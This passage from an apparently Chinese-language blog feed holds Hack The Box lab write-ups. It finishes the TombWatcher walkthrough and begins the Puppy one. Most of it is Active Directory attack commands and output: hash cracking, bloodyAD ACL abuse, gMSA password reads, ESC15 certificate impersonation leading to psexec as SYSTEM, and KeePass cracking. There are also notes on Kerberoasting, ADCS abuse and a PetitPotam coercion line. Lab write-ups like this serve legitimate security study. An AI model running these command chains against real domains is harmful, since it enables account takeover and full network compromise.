1daa064a613f2b2c8f8448d81654c4db2fa7971e76467fb63a536ccd2a151f2c6829a0971eeca2f1f4d0905e64c1034bf582bbef02dd1bdfa6643c0cd818cdf87932fad61bd60ae817b9a59e69c864cd5c2c1b02f351d20a2e9a55f41209d99baa46644c7642e1fa20f0ff024667c7c84ab0574b87bf8e6d5dae016f05130b1ba4cb25ab6b8993fab933cc30f07d9d0aee71c12737951d4133c1175cf53f4d6692a0144a4ab8639aa6f74a2855362fb53a725bf7f43e146f0ca3fd9c85e000a99bdc40dbd2c738cdddf68f310678b73fe8cdb763868e6b90bfbf1936ad4c6ef09b7b6478d98615a2b008faca480ec7b5540eebf7dc98dc882a559f20affdef9e75ffc04aeb1092617288255d4bc2d2716faf6d13d9914733b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获取到 &lt;code&gt;alfred&lt;/code&gt; 的 TGS-REP 哈希后，使用 &lt;code&gt;hashcat&lt;/code&gt; 和 &lt;code&gt;rockyou.txt&lt;/code&gt; 字典进行离线破解，成功得到其明文密码：&lt;code&gt;basketball&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat hash /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.......:basketball
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb...14733b
Time.Started.....: Wed Jun 11 08:48:39 2025 (0 secs)
Time.Estimated...: Wed Jun 11 08:48:39 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    93872 H/s (0.66ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2048/14344385 (0.01%)
Rejected.........: 0/2048 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -&amp;gt; lovers1
Hardware.Mon.#1..: Util: 25%

Started: Wed Jun 11 08:48:27 2025
Stopped: Wed Jun 11 08:48:40 2025
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;攻击链第二环：&lt;code&gt;AddSelf&lt;/code&gt; 到 gMSA 权限&lt;/p&gt;
&lt;p&gt;凭借 &lt;code&gt;alfred&lt;/code&gt; 的凭证，我们利用其对 &lt;code&gt;infrastructure&lt;/code&gt; 组的 &lt;strong&gt;AddSelf&lt;/strong&gt; 权限，将 &lt;code&gt;alfred&lt;/code&gt; 用户加入该组，从而继承该组的所有权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.10.11.72 -u alfred -p &apos;basketball&apos; -d tombwatcher.htb add groupMember infrastructure alfred
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;infrastructure&lt;/code&gt; 组拥有对 gMSA（组管理服务账户）&lt;code&gt;ANSIBLE_DEV$&lt;/code&gt; 的 &lt;strong&gt;ReadGMSAPassword&lt;/strong&gt; 权限。我们利用此权限，成功读取到该 gMSA 账户的 NTLM 哈希。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.72 -u &apos;alfred&apos; -p &apos;basketball&apos; --gmsa
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;LDAP        10.10.11.72     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAPS       10.10.11.72     636    DC01             [+] tombwatcher.htb\alfred:basketball
LDAPS       10.10.11.72     636    DC01             [*] Getting GMSA Passwords
LDAPS       10.10.11.72     636    DC01             Account: ansible_dev$         NTLM: 1c37d00093dc2a5f25176bf2d474afdc     PrincipalsAllowedToReadPassword: Infrastructure   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;攻击链第三环：强制密码重置与影子凭证&lt;/p&gt;
&lt;p&gt;利用 &lt;code&gt;ANSIBLE_DEV$&lt;/code&gt; 的哈希和其对用户 &lt;code&gt;sam&lt;/code&gt; 的 &lt;strong&gt;ForceChangePassword&lt;/strong&gt; 权限，我们强制将 &lt;code&gt;sam&lt;/code&gt; 的密码修改为 sin@123`。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.10.11.72 -d tombwatcher -u &apos;ansible_dev$&apos; -p :1c37d00093dc2a5f25176bf2d474afdc set password sam sin@123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，用户 sam 对 john 拥有 WriteOwner 权限。通过滥用此权限，我们将 john 的所有者更改为 sam，随后赋予 sam 对 john 的 GenericAll 完全控制权限。这使得我们可以利用影子凭证（Shadow Credentials）攻击来获取 john 的 NTLM 哈希。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.10.11.72 -d tombwatcher -u &apos;sam&apos; -p &apos;sin@123&apos; set owner john sam
bloodyAD --host 10.10.11.72 -d tombwatcher -u &apos;sam&apos; -p &apos;sin@123&apos; add genericAll john sam
certipy-ad shadow auto -target tombwatcher.htb -dc-ip 10.10.11.72 -username &apos;sam&apos; -password &apos;sin@123&apos; -account john (失败)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为sam是GenericAll权限，并且是john拥有者，直接去修改join的密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u &apos;sam&apos; -p &apos;sin@123&apos; set password john &apos;NewP@ssw0r&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;远程登录上join，成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i 10.10.11.72 -u john -p &apos;NewP@ssw0r&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下一步提权&lt;/p&gt;
&lt;p&gt;尽管 &lt;code&gt;john&lt;/code&gt; 对名为 &lt;code&gt;ADCS&lt;/code&gt; 的 OU 拥有 &lt;code&gt;GenericAll&lt;/code&gt; 权限，但该 OU 是空的，似乎是一个死胡同。老实说，卡了很久，突然想到靶机名称 &lt;strong&gt;TombWatcher&lt;/strong&gt;（墓碑看守者）：我们需要寻找被删除的&quot;墓碑&quot;对象。&lt;/p&gt;
&lt;p&gt;使用 PowerShell 查询已被软删除的 AD 用户对象，我们发现了一个名为 &lt;code&gt;cert_admin&lt;/code&gt; 的用户。从其命名来看，这极有可能与 ADCS 相关。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Get-ADObject -Filter &apos;isDeleted -eq $true -and objectClass -eq &quot;user&quot;&apos; -IncludeDeletedObjects
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name              : cert_admin
                    DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass       : user
ObjectGUID        : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3

Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name              : cert_admin
                    DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass       : user
ObjectGUID        : c1f1f0fe-df9c-494c-bf05-0679e181b358

Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name              : cert_admin
                    DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass       : user
ObjectGUID        : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;恢复用户与 ADCS 提权 (ESC15)
我们尝试恢复该用户，操作成功，这表明 &lt;code&gt;john&lt;/code&gt; 对该容器拥有恢复对象的权限。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Get-ADObject -Filter &apos;sAMAccountName -eq &quot;cert_admin&quot;&apos; -IncludeDeletedObjects | Sort-Object -Property whenDeleted -Descending | Select-Object -First 1 | Restore-ADObject
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\john\Documents&amp;gt; net user /domain

User accounts for \\

-------------------------------------------------------------------------------
Administrator            Alfred                   Guest
Henry                    john                     krbtgt
sam
The command completed with one or more errors.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;恢复后，我们启用该账户并将其密码重置为 &lt;code&gt;sin@123&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.10.11.72 -u john -p &apos;NewP@ssw0r&apos; -d tombwatcher.htb remove uac cert_admin -f ACCOUNTDISABLE
bloodyAD --host 10.10.11.72 -u john -p &apos;NewP@ssw0r&apos; -d tombwatcher set password cert_admin sin@123
certipy-ad find -u &apos;cert_admin&apos; -p &apos;sin@123&apos; -dc-ip &apos;10.10.11.72&apos; -vulnerable -text -enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有了 &lt;code&gt;cert_admin&lt;/code&gt; 的凭证，我们再次使用 &lt;code&gt;Certipy&lt;/code&gt; 进行 ADCS 枚举。这一次，成功发现 &lt;strong&gt;ESC15&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一步会使用提供的 &lt;code&gt;cert_admin&lt;/code&gt; 账户来请求一个基于 &lt;code&gt;WebServer&lt;/code&gt; 模板的证书，并将生成的证书（包括私钥）保存为 &lt;code&gt;.pfx&lt;/code&gt; 文件 (&lt;code&gt;cert_admin.pfx&lt;/code&gt;)。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -u cert_admin@tombwatcher.htb -p &apos;sin@123&apos; -dc-ip 10.10.11.72 -ca &apos;tombwatcher-CA-1&apos; -template &apos;WebServer&apos; -application-policies &apos;Certificate Request Agent&apos; -out &apos;cert_admin.pfx&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -u cert_admin@tombwatcher.htb -p &apos;sin@123&apos; -dc-ip 10.10.11.72 -ca &apos;tombwatcher-CA-1&apos; -template &apos;User&apos; -pfx cert_admin.pfx -on-behalf-of &apos;tombwatcher\Administrator&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用这张新获取的 &lt;code&gt;administrator.pfx&lt;/code&gt; 证书进行身份认证，我们获得了对 &lt;code&gt;Administrator&lt;/code&gt; 账户的完全控制权，并将其密码修改为 &lt;code&gt;sin@123&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.72 -ldap-shell

# shell
change_password administrator sin@123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，使用新凭证通过 &lt;code&gt;psexec&lt;/code&gt; 登录域控，成功获得 &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; 权限，完成对域的完全控制&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-psexec tombwatcher.htb/administrator:&apos;sin@123&apos;@10.10.11.72
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-Puppy</title><link>https://sinqwq.top/posts/htb-puppy/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-puppy/</guid><description>Htb-Puppy</description><pubDate>Tue, 01 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Puppy&lt;/h1&gt;
&lt;p&gt;扫描端口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.70
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap 10.10.11.70 -p- --min-rate=5000 -A
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;10.10.11.70:135 open
10.10.11.70:88 open
10.10.11.70:445 open
10.10.11.70:139 open
[*] alive ports len is: 4
start vulscan
[*] NetInfo 
[*]10.10.11.70
   [-&amp;gt;]DC
   [-&amp;gt;]10.10.11.70
已完成 4/4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现有4个端口打开，目标是DC&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;135 (MSRPC) - Microsoft远程过程调用（RPC）服务，常用于Windows系统间通信。

88 (Kerberos) - Kerberos身份验证协议端口，常用于Windows域环境。

445 (SMB over IP) - 直接承载的服务器消息块（SMB），用于文件共享、打印机共享等。

139 (NetBIOS-SSN) - NetBIOS会话服务，旧版Windows文件共享使用的端口。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目提示：As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!&lt;/p&gt;
&lt;p&gt;获得了初始凭证 &lt;code&gt;levi.james:KingofAkron2025!&lt;/code&gt;。首先利用此凭证对 SMB 共享进行枚举&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 10.10.11.70 -u levi.james -p KingofAkron2025! --shares
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.10.11.70     445    DC               [*] Enumerated shares
SMB         10.10.11.70     445    DC               Share           Permissions     Remark                                                                
SMB         10.10.11.70     445    DC               -----           -----------     ------                                                                
SMB         10.10.11.70     445    DC               ADMIN$                          Remote Admin                                                          
SMB         10.10.11.70     445    DC               C$                              Default share                                                         
SMB         10.10.11.70     445    DC               DEV                             DEV-SHARE for PUPPY-DEVS                                              
SMB         10.10.11.70     445    DC               IPC$            READ            Remote IPC                                                            
SMB         10.10.11.70     445    DC               NETLOGON        READ            Logon server share                                                    
SMB         10.10.11.70     445    DC               SYSVOL          READ            Logon server share   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在枚举到的共享中，&lt;code&gt;dev&lt;/code&gt; 目录较为特殊，但当前用户 &lt;code&gt;levi.james&lt;/code&gt; 并无读取权限。&lt;/p&gt;
&lt;p&gt;尝试域内用户枚举&lt;/p&gt;
&lt;p&gt;利用已知凭证，通过 LDAP 服务枚举域内用户，并将结果保存。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.70 -u levi.james -p KingofAkron2025! --users
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;LDAP        10.10.11.70     389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
LDAP        10.10.11.70     389    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
LDAP        10.10.11.70     389    DC               [*] Enumerated 9 domain users: PUPPY.HTB
LDAP        10.10.11.70     389    DC               -Username-                    -Last PW Set-       -BadPW-  -Description-                              
LDAP        10.10.11.70     389    DC               Administrator                 2025-02-20 03:33:28 2        Built-in account for administering the computer/domain                                                                  
LDAP        10.10.11.70     389    DC               Guest                         &amp;lt;never&amp;gt;             2        Built-in account for guest access to the computer/domain                                                                
LDAP        10.10.11.70     389    DC               krbtgt                        2025-02-19 19:46:15 2        Key Distribution Center Service Account    
LDAP        10.10.11.70     389    DC               levi.james                    2025-02-19 20:10:56 0                                                   
LDAP        10.10.11.70     389    DC               ant.edwards                   2025-02-19 20:13:14 0                                                   
LDAP        10.10.11.70     389    DC               adam.silver                   2025-06-09 09:49:29 0                                                   
LDAP        10.10.11.70     389    DC               jamie.williams                2025-02-19 20:17:26 4                                                   
LDAP        10.10.11.70     389    DC               steph.cooper                  2025-02-19 20:21:00 0                                                   
LDAP        10.10.11.70     389    DC               steph.cooper_adm              2025-03-08 23:50:40 4871  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获取到的域用户列表如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Administrator
levi.james
ant.edwards
adam.silver
amie.williams
steph.cooper
steph.cooper_adm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将域内用户写进user.txt，用初使密码&lt;code&gt;KingofAkron2025!&lt;/code&gt;来进行进行密码喷洒&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 10.10.11.70 -u users.txt -p KingofAkron2025! --continue-on-success
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;失败&lt;/p&gt;
&lt;p&gt;接着，尝试 AS-REP Roasting 和 Kerberoasting 攻击，均未发现可利用的哈希。然而，在 Kerberoasting 的输出中，意外发现用户 &lt;code&gt;adam.silver&lt;/code&gt; 处于不可用状态。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. AS-REP Roasting

攻击原理：
AS-REP Roasting 是一种针对 Kerberos 身份验证协议的攻击，利用了用户账户配置中的 &quot;Do not require Kerberos preauthentication&quot;（不需要预认证）选项。

正常流程：在 Kerberos 认证中，用户登录时首先向 KDC（Key Distribution Center）发送 AS-REQ 请求，其中包含用用户密码哈希加密的时间戳（预认证）。KDC 验证通过后返回 AS-REP（包含用用户密码哈希加密的 TGT）。
漏洞点：如果用户关闭了预认证（如某些服务账户），攻击者可以直接发送 AS-REQ 请求，KDC 会直接返回 AS-REP（包含加密的 TGT），而无需验证身份。攻击者可离线破解 AS-REP 中加密的数据（使用用户密码哈希加密的部分），获取密码哈希。

利用条件：
域内存在 禁用预认证的用户账户。
攻击者无需域内凭据即可发起请求。

工具：
Rubeus：Rubeus.exe asreproast
Impacket：GetNPUsers.py -dc-ip &amp;lt;DC_IP&amp;gt; -request &amp;lt;domain&amp;gt;/
防御措施：

确保所有用户（尤其是服务账户）启用预认证（默认开启）。
定期审计账户配置，禁用异常选项。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;2. Kerberoasting

攻击原理：
Kerberoasting 攻击利用了 Kerberos 中 服务票据（ST） 的获取机制：

正常流程：用户请求访问某服务（如 SQL Server）时，向 KDC 发送 TGS-REQ 请求。KDC 返回用服务账户密码哈希加密的服务票据（TGS）。用户解密票据后访问服务。
漏洞点：任何域用户均可请求服务票据（TGS），而票据是用服务账户密码哈希加密的。攻击者可请求高权限服务（如域管理员运行的服务）的票据，然后离线破解弱密码。

利用条件：
域内存在 SPN（Service Principal Name） 注册的服务账户（通常是普通用户或服务账户）。
服务账户使用弱密码。

工具：
Rubeus：Rubeus.exe kerberoast
Impacket：GetUserSPNs.py -dc-ip &amp;lt;DC_IP&amp;gt; &amp;lt;domain&amp;gt;/&amp;lt;user&amp;gt;
防御措施：

为服务账户设置 强密码（长随机字符串）。
将服务账户改为 Group Managed Service Accounts (gMSA)（自动管理密码）。
限制用户请求服务票据的权限（如启用 AES 加密，减少弱加密算法）。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.70 -u levi.james -p &apos;KingofAkron2025!&apos; --asreproast output.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;LDAP        10.10.11.70     389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
LDAP        10.10.11.70     389    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
LDAP        10.10.11.70     389    DC               No entries found!
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.70 -u levi.james -p &apos;KingofAkron2025!&apos; --kerberoasting output.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;LDAP        10.10.11.70     389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
LDAP        10.10.11.70     389    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
LDAP        10.10.11.70     389    DC               [*] Skipping disabled account: krbtgt
LDAP        10.10.11.70     389    DC               [*] Total of records returned 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无发现&lt;/p&gt;
&lt;p&gt;再对 Active Directory 证书服务 (ADCS) 进行枚举，寻找潜在的配置错误或漏洞，但未发现可利用点。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Active Directory 证书服务（AD CS）是 Windows Server 的一个角色，用于在域内颁发和管理 **公钥基础设施 (PKI) ** 证书。它允许域内用户、计算机和服务申请数字证书，用于身份验证、加密和签名。

渗透测试中何时需要检查 ADCS?
1.信息收集阶段
发现 ADCS 服务器：
Get-ADObject -LDAPFilter &quot;(objectClass=pKIEnrollmentService)&quot; -SearchBase &quot;CN=Configuration,DC=domain,DC=com&quot;
检查证书模板（可能包含错误配置）：
certutil -template -v
Get-ADObject -LDAPFilter &quot;(objectClass=pKICertificateTemplate)&quot; -SearchBase &quot;CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com&quot;

2.权限提升阶段
ESC1 (Misconfigured Certificate Templates)
如果证书模板允许 客户端认证 且 允许任意用户注册（如 Authenticated Users 可申请），攻击者可以申请证书并伪造身份。
利用工具：
Certify.exe find /vulnerable
Rubeus.exe asktgt /user:DA_User /certificate:&amp;lt;BASE64_CERT&amp;gt; /ptt
________
ESC2 (Any Purpose EKU)
如果证书模板的 EKU (Extended Key Usage) 包含 Any Purpose，攻击者可以申请 万能证书，用于任意用途（如域管理员权限）。
________
ESC3 (Enrollment Agent Abuse)
如果模板允许 证书申请代理（如 Enrollment Agent），攻击者可以代表其他用户申请证书。

3.横向移动阶段
证书窃取（如 DPAPI 解密用户证书）：
mimikatz.exe dpapi::cred /in:&quot;C:\Users\user\AppData\Roaming\Microsoft\Credentials\*&quot;
强制证书认证（如 PetitPotam + ADCS）：
PetitPotam.exe -d DOMAIN -u USER -p PASSWORD &amp;lt;ATTACKER_IP&amp;gt; &amp;lt;TARGET_CA_SERVER&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad find -u &apos;levi.james&apos; -p &apos;KingofAkron2025!&apos; -dc-ip 10.10.11.70 -vulnerable -enabled -text -scheme ldap
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 0 certificate templates
[*] Finding certificate authorities
[*] Found 0 certificate authorities
[*] Found 0 enabled certificate templates
[*] Saved text output to &apos;20250609031634_Certipy.txt&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也无发现&lt;/p&gt;
&lt;p&gt;尝试权限提升：利用 GenericWrite 与 KeePass 破解&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GenericWrite 是 Active Directory 中的一种 访问控制权限，允许主体（用户/组）修改目标对象的所有非保护属性。在渗透测试中，它通常用于 权限提升 或 横向移动，特别是当该权限被授予敏感对象（如用户、组、计算机）时。
GenericWrite 权限的作用:
允许的操作：
    -修改目标对象的 属性（如 description、displayName）。
    -重置密码（如果目标对象是用户/计算机）。
    -添加/删除组成员（如果目标对象是组）。
    -修改 SPN（可用于 Kerberoasting）。
    -设置 msDS-KeyCredentialLink（可用于 Shadow Credentials 攻击）。
不允许的操作：
    -删除对象。
    -修改 受保护的属性（如 adminCount=1 的对象）。
______________________________________________
利用场景
-修改用户属性（如 scriptPath 实现 RCE）
-重置用户密码
-添加用户到高权限组
-修改计算机账户的 msDS-KeyCredentialLink（Shadow Credentials）
-修改 SPN（Kerberoasting）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;DCSync 是 Active Directory 中的一种高阶权限，允许主体（用户/计算机）模拟域控制器（DC）的行为，从其他 DC 同步目录数据（如用户密码哈希、Kerberos 票据等）。在渗透测试中，它是获取域管理员权限的终极武器。

1. DCSync 的本质
官方用途：
用于域控制器之间的数据同步（如新 DC 加入域时复制 AD 数据库）。
攻击用途：
攻击者通过获取此权限，可直接导出域内所有用户的密码哈希（包括域管理员），实现“一键接管整个域”。

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;graph LR
A[攻击者] --&amp;gt; B[获取 DCSync 权限]
B --&amp;gt; C[向域控制器发送 DRS 请求]
C --&amp;gt; D[DC 返回 NTLM 哈希/Kerberos 密钥]
D --&amp;gt; E[导出域内所有账户凭据]
E --&amp;gt; F[使用哈希传递接管域]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用BloodHound 分析与 GenericWrite 权限发现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-ce-python -c all -d puppy.htb -u &apos;levi.james&apos; -p &apos;KingofAkron2025!&apos; -ns 10.10.11.70 -dc dc.puppy.htb --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://picui.ogmua.cn/s1/2026/04/01/69ccf55b5ad27.webp&quot; alt=&quot;image-20250610160133671&quot; /&gt;&lt;/p&gt;
&lt;p&gt;BloodHound 分析结果显示，用户 &lt;code&gt;levi.james&lt;/code&gt; 所属的 &lt;code&gt;HR@PUPPY.HTB&lt;/code&gt; 组对 &lt;code&gt;DEVELOPERS@PUPPY.HTB&lt;/code&gt; 组拥有 &lt;code&gt;GenericWrite&lt;/code&gt; 权限。&lt;/p&gt;
&lt;p&gt;利用 GenericWrite 访问受限共享&lt;/p&gt;
&lt;p&gt;&lt;code&gt;GenericWrite&lt;/code&gt; 权限允许我们将用户添加到目标组。利用此权限，将 &lt;code&gt;levi.james&lt;/code&gt; 添加到 &lt;code&gt;Developers&lt;/code&gt; 组。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.10.11.70 -u &apos;levi.james&apos; -p &apos;KingofAkron2025!&apos; -d puppy.htb add groupMember developers levi.james
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功添加后，再次尝试访问之前不可读的 &lt;code&gt;dev&lt;/code&gt; 共享目录。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 10.10.11.70 -u levi.james -p KingofAkron2025! --shares
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;&lt;code&gt;levi.james&lt;/code&gt; 成为 &lt;code&gt;Developers&lt;/code&gt; 组成员后，&lt;code&gt;dev&lt;/code&gt; 共享目录变为可读&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;连接到 &lt;code&gt;dev&lt;/code&gt; 共享目录并下载所有文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient -p 445 //10.10.11.70/dev -U levi.james --password=KingofAkron2025!
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;recurse ON
prompt OFF
mget *
exit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;从 &lt;code&gt;dev&lt;/code&gt; 共享目录下载文件，发现 &lt;code&gt;recovery.kdbx&lt;/code&gt; KeePass 密码文件&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;目录中包含两个文件，其中 &lt;code&gt;recovery.kdbx&lt;/code&gt; 是一个 KeePass 密码数据库文件，成为我们关注的重点。&lt;/p&gt;
&lt;p&gt;KeePass文件爆棚&lt;/p&gt;
&lt;p&gt;尝试使用 &lt;code&gt;keepass2john&lt;/code&gt; 将 &lt;code&gt;.kdbx&lt;/code&gt; 文件转换为 &lt;code&gt;hashcat&lt;/code&gt; 或 &lt;code&gt;John the Ripper&lt;/code&gt; 可识别的哈希格式，但转换失败。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;keepass2john recovery.kdbx &amp;gt; keepass.hash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;搜索发现，失败原因是 &lt;code&gt;recovery.kdbx&lt;/code&gt; 文件为 KeePass v4 版本，而当前 kali 的最新版本依旧不支持。幸运的是，JtR 的 “Bloody Jumbo” 版本自2024年11月起已支持 KeePass v4。&lt;/p&gt;
&lt;p&gt;因此，我们下载 JtR 最新源码并进行编译安装。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 安装依赖
sudo apt install -y git build-essential libssl-dev libgmp-dev libpcap-dev pkg-config libbz2-dev zlib1g-dev
# 下载最新源码
git clone https://github.com/openwall/john.git
# 进入src目录并运行基本配置脚本
cd john/src/ &amp;amp;&amp;amp; ./configure
# 编译源代码
make -s clean &amp;amp;&amp;amp; make -sj$(nproc)
# 进入上一级的run目录并验证
cd ../run &amp;amp;&amp;amp; ./john --help

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装成功&lt;/p&gt;
&lt;p&gt;使用新编译的 &lt;code&gt;keepass2john&lt;/code&gt; 和 &lt;code&gt;john&lt;/code&gt; 工具，配合 &lt;code&gt;rockyou.txt&lt;/code&gt; 字典成功破解 &lt;code&gt;recovery.kdbx&lt;/code&gt; 的主密码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./run/keepass2john ~/htb/Puppy/recovery.kdbx &amp;gt; ~/htb/Puppy/keepass.hash
./run/john ~/htb/Puppy/keepass.hash -w /usr/share/wordlists/rockyou.txt -format=keepass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;成功破解 KeePass 文件密码为 &lt;code&gt;liverpool&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
